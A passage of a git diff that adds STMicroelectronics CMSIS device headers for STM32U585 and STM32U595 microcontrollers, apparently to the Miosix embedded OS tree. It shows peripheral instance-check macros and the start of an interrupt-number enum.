(TIMx_DIER.CCxDE) *******/ +#define IS_TIM_DMA_CC_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************** TIM Instances : DMA burst feature ***********************/ +#define IS_TIM_DMABURST_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : output(s) available **********************/ +#define IS_TIM_CCX_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4) || \ + ((CHANNEL) == TIM_CHANNEL_5) || \ + ((CHANNEL) == TIM_CHANNEL_6))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2))) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1))) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1)))) + +/****************** TIM Instances : supporting complementary output(s) ********/ +#define IS_TIM_CCXN_INSTANCE(INSTANCE, CHANNEL) \ + (((((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) && \ + (((CHANNEL) == TIM_CHANNEL_1) || \ + ((CHANNEL) == TIM_CHANNEL_2) || \ + ((CHANNEL) == TIM_CHANNEL_3) || \ + ((CHANNEL) == TIM_CHANNEL_4))) \ + || \ + ((((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1)) \ + || \ + ((((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) && \ + ((CHANNEL) == TIM_CHANNEL_1))) + +/****************** TIM Instances : supporting clock division *****************/ +#define IS_TIM_CLOCK_DIVISION_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****** TIM Instances : supporting external clock mode 1 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE1_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : supporting external clock mode 2 for ETRF input *******/ +#define IS_TIM_CLOCKSOURCE_ETRMODE2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting external clock mode 1 for TIX inputs*/ +#define IS_TIM_CLOCKSOURCE_TIX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting internal trigger inputs(ITRX) *******/ +#define IS_TIM_CLOCKSOURCE_ITRX_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting combined 3-phase PWM mode ******/ +#define IS_TIM_COMBINED3PHASEPWM_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting commutation event generation ***/ +#define IS_TIM_COMMUTATION_EVENT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting counting mode selection ********/ +#define IS_TIM_COUNTER_MODE_SELECT_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting encoder interface **************/ +#define IS_TIM_ENCODER_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting Hall sensor interface **********/ +#define IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/**************** TIM Instances : external trigger input available ************/ +#define IS_TIM_ETR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****** TIM Instances : Master mode available (TIMx_CR2.MMS available )********/ +#define IS_TIM_MASTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM6_NS) || ((INSTANCE) == TIM6_S) || \ + ((INSTANCE) == TIM7_NS) || ((INSTANCE) == TIM7_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/*********** TIM Instances : Slave mode available (TIMx_SMCR available )*******/ +#define IS_TIM_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/****************** TIM Instances : supporting OCxREF clear *******************/ +#define IS_TIM_OCXREF_CLEAR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : remapping capability **********************/ +#define IS_TIM_REMAP_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting repetition counter *************/ +#define IS_TIM_REPETITION_COUNTER_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S) || \ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) || \ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : supporting ADC triggering through TRGO2 ***/ +#define IS_TIM_TRGO2_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/******************* TIM Instances : Timer input XOR function *****************/ +#define IS_TIM_XOR_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) || \ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) || \ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) || \ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) || \ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)) + +/******************* TIM Instances : Timer input selection ********************/ +#define IS_TIM_TISEL_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) ||\ + ((INSTANCE) == TIM2_NS) || ((INSTANCE) == TIM2_S) ||\ + ((INSTANCE) == TIM3_NS) || ((INSTANCE) == TIM3_S) ||\ + ((INSTANCE) == TIM4_NS) || ((INSTANCE) == TIM4_S) ||\ + ((INSTANCE) == TIM5_NS) || ((INSTANCE) == TIM5_S) ||\ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S) ||\ + ((INSTANCE) == TIM15_NS) || ((INSTANCE) == TIM15_S)||\ + ((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S)||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/******************* TIM Instances : supporting HSE32 as input ********************/ +#define IS_TIM_HSE32_INSTANCE(INSTANCE) (((INSTANCE) == TIM16_NS) || ((INSTANCE) == TIM16_S) ||\ + ((INSTANCE) == TIM17_NS) || ((INSTANCE) == TIM17_S)) + +/****************** TIM Instances : Advanced timer instances *******************/ +#define IS_TIM_ADVANCED_INSTANCE(INSTANCE) (((INSTANCE) == TIM1_NS) || ((INSTANCE) == TIM1_S) || \ + ((INSTANCE) == TIM8_NS) || ((INSTANCE) == TIM8_S)) + +/****************** TIM Instances : supporting synchronization ****************/ +#define IS_TIM_SYNCHRO_INSTANCE(__INSTANCE__) (((__INSTANCE__) == TIM1_NS) || ((__INSTANCE__) == TIM1_S) || \ + ((__INSTANCE__) == TIM2_NS) || ((__INSTANCE__) == TIM2_S) || \ + ((__INSTANCE__) == TIM3_NS) || ((__INSTANCE__) == TIM3_S) || \ + ((__INSTANCE__) == TIM4_NS) || ((__INSTANCE__) == TIM4_S) || \ + ((__INSTANCE__) == TIM5_NS) || ((__INSTANCE__) == TIM5_S) || \ + ((__INSTANCE__) == TIM6_NS) || ((__INSTANCE__) == TIM6_S) || \ + ((__INSTANCE__) == TIM7_NS) || ((__INSTANCE__) == TIM7_S) || \ + ((__INSTANCE__) == TIM8_NS) || ((__INSTANCE__) == TIM8_S) || \ + ((__INSTANCE__) == TIM15_NS) || ((__INSTANCE__) == TIM15_S)) + +/****************************** TSC Instances *********************************/ +#define IS_TSC_ALL_INSTANCE(INSTANCE) (((INSTANCE) == TSC_NS) || ((INSTANCE) == TSC_S)) + +/******************** USART Instances : Synchronous mode **********************/ +#define IS_USART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S)) + +/******************** UART Instances : Asynchronous mode **********************/ +#define IS_UART_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) + +/*********************** UART Instances : FIFO mode ***************************/ +#define IS_UART_FIFO_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : SPI Slave mode **********************/ +#define IS_UART_SPI_SLAVE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S)) + +/****************** UART Instances : Auto Baud Rate detection ****************/ +#define IS_USART_AUTOBAUDRATE_DETECTION_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) + +/****************** UART Instances : Driver Enable *****************/ +#define IS_UART_DRIVER_ENABLE_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : Half-Duplex mode **********************/ +#define IS_UART_HALFDUPLEX_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************** UART Instances : Hardware Flow control ********************/ +#define IS_UART_HWFLOW_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/******************** UART Instances : LIN mode **********************/ +#define IS_UART_LIN_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) + +/******************** UART Instances : Wake-up from Stop mode **********************/ +#define IS_UART_WAKEUP_FROMSTOP_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : IRDA mode ***************************/ +#define IS_IRDA_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S)) + +/********************* USART Instances : Smard card mode ***********************/ +#define IS_SMARTCARD_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S)) + +/******************** LPUART Instance *****************************************/ +#define IS_LPUART_INSTANCE(INSTANCE) (((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/*********************** UART Instances : AUTONOMOUS mode ***************************/ +#define IS_UART_AUTONOMOUS_INSTANCE(INSTANCE) (((INSTANCE) == USART1_NS) || ((INSTANCE) == USART1_S) || \ + ((INSTANCE) == USART2_NS) || ((INSTANCE) == USART2_S) || \ + ((INSTANCE) == USART3_NS) || ((INSTANCE) == USART3_S) || \ + ((INSTANCE) == UART4_NS) || ((INSTANCE) == UART4_S) || \ + ((INSTANCE) == UART5_NS) || ((INSTANCE) == UART5_S) || \ + ((INSTANCE) == LPUART1_NS) || ((INSTANCE) == LPUART1_S)) + +/****************************** IWDG Instances ********************************/ +#define IS_IWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == IWDG_NS) || ((INSTANCE) == IWDG_S)) + +/****************************** WWDG Instances ********************************/ +#define IS_WWDG_ALL_INSTANCE(INSTANCE) (((INSTANCE) == WWDG_NS) || ((INSTANCE) == WWDG_S)) + +/****************************** UCPD Instances ********************************/ +#define IS_UCPD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == UCPD1_NS) || ((INSTANCE) == UCPD1_S)) + +/******************************* OTG FS HCD Instances *************************/ +#define IS_HCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_FS_NS) || ((INSTANCE) == USB_OTG_FS_S)) + +/******************************* OTG FS PCD Instances *************************/ +#define IS_PCD_ALL_INSTANCE(INSTANCE) (((INSTANCE) == USB_OTG_FS_NS) || ((INSTANCE) == USB_OTG_FS_S)) + +/******************************* MDF/ADF Instances ****************************/ +#define IS_MDF_ALL_INSTANCE(INSTANCE) (((INSTANCE) == MDF1_Filter0_NS) || ((INSTANCE) == MDF1_Filter0_S) || \ + ((INSTANCE) == MDF1_Filter1_NS) || ((INSTANCE) == MDF1_Filter1_S) || \ + ((INSTANCE) == MDF1_Filter2_NS) || ((INSTANCE) == MDF1_Filter2_S) || \ + ((INSTANCE) == MDF1_Filter3_NS) || ((INSTANCE) == MDF1_Filter3_S) || \ + ((INSTANCE) == MDF1_Filter4_NS) || ((INSTANCE) == MDF1_Filter4_S) || \ + ((INSTANCE) == MDF1_Filter5_NS) || ((INSTANCE) == MDF1_Filter5_S) || \ + ((INSTANCE) == ADF1_Filter0_NS) || ((INSTANCE) == ADF1_Filter0_S)) + + +/** @} */ /* End of group STM32U5xx_Peripheral_Exported_macros */ + +/** @} */ /* End of group STM32U585xx */ + +/** @} */ /* End of group ST */ + +#ifdef __cplusplus +} +#endif + +#endif /* STM32U585xx_H */ + diff --git a/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u595xx.h b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u595xx.h new file mode 100644 index 000000000..95252a789 --- /dev/null +++ b/miosix/arch/CMSIS/Device/ST/STM32U5xx/Include/stm32u595xx.h @@ -0,0 +1,25579 @@ +/** + ****************************************************************************** + * @file stm32u595xx.h + * @author MCD Application Team + * @brief CMSIS STM32U595xx Device Peripheral Access Layer Header File. + * + * This file contains: + * - Data structures and the address mapping for all peripherals + * - Peripheral's registers declarations and bits definition + * - Macros to access peripheral's registers hardware + * + ****************************************************************************** + * @attention + * + * Copyright (c) 2022 STMicroelectronics. + * All rights reserved. + * + * This software is licensed under terms that can be found in the LICENSE file + * in the root directory of this software component. + * If no LICENSE file comes with this software, it is provided AS-IS. + * + ****************************************************************************** + */ + +#ifndef STM32U595xx_H +#define STM32U595xx_H + +#ifdef __cplusplus +extern "C" { +#endif + +/** @addtogroup ST + * @{ + */ + + +/** @addtogroup STM32U595xx + * @{ + */ + + +/** @addtogroup Configuration_of_CMSIS + * @{ + */ + + +/* =========================================================================================================================== */ +/* ================ Interrupt Number Definition ================ */ +/* =========================================================================================================================== */ + +typedef enum +{ +/* ======================================= ARM Cortex-M33 Specific Interrupt Numbers ======================================= */ + Reset_IRQn = -15, /*!< -15 Reset Vector, invoked on Power up and warm reset */ + NonMaskableInt_IRQn = -14, /*!< -14 Non maskable Interrupt, cannot be stopped or preempted */ + HardFault_IRQn = -13, /*!< -13 Hard Fault, all classes of Fault */ + MemoryManagement_IRQn = -12, /*!< -12 Memory Management, MPU mismatch, including Access Violation + and No Match */ + BusFault_IRQn = -11, /*!< -11 Bus Fault, Pre-Fetch-, Memory Access Fault, other address/memory + related Fault */ + UsageFault_IRQn = -10, /*!< -10 Usage Fault, i.e. Undef Instruction, Illegal State Transition */ + SecureFault_IRQn = -9, /*!< -9 Secure Fault */ + SVCall_IRQn = -5, /*!< -5 System Service Call via SVC instruction */ + DebugMonitor_IRQn = -4, /*!< -4 Debug Monitor */ + PendSV_IRQn = -2, /*!< -2 Pendable request for system service */ + SysTick_IRQn = -1, /*!< -1 System Tick Timer */ + +/* =========================================== STM32U595xx Specific Interrupt Numbers ================================= */ + WWDG_IRQn = 0, /*!< Window WatchDog interrupt */ + PVD_PVM_IRQn = 1, /*!< PVD/PVM through EXTI Line detection Interrupt */ + RTC_IRQn = 2, /*!< RTC non-secure interrupt */ + 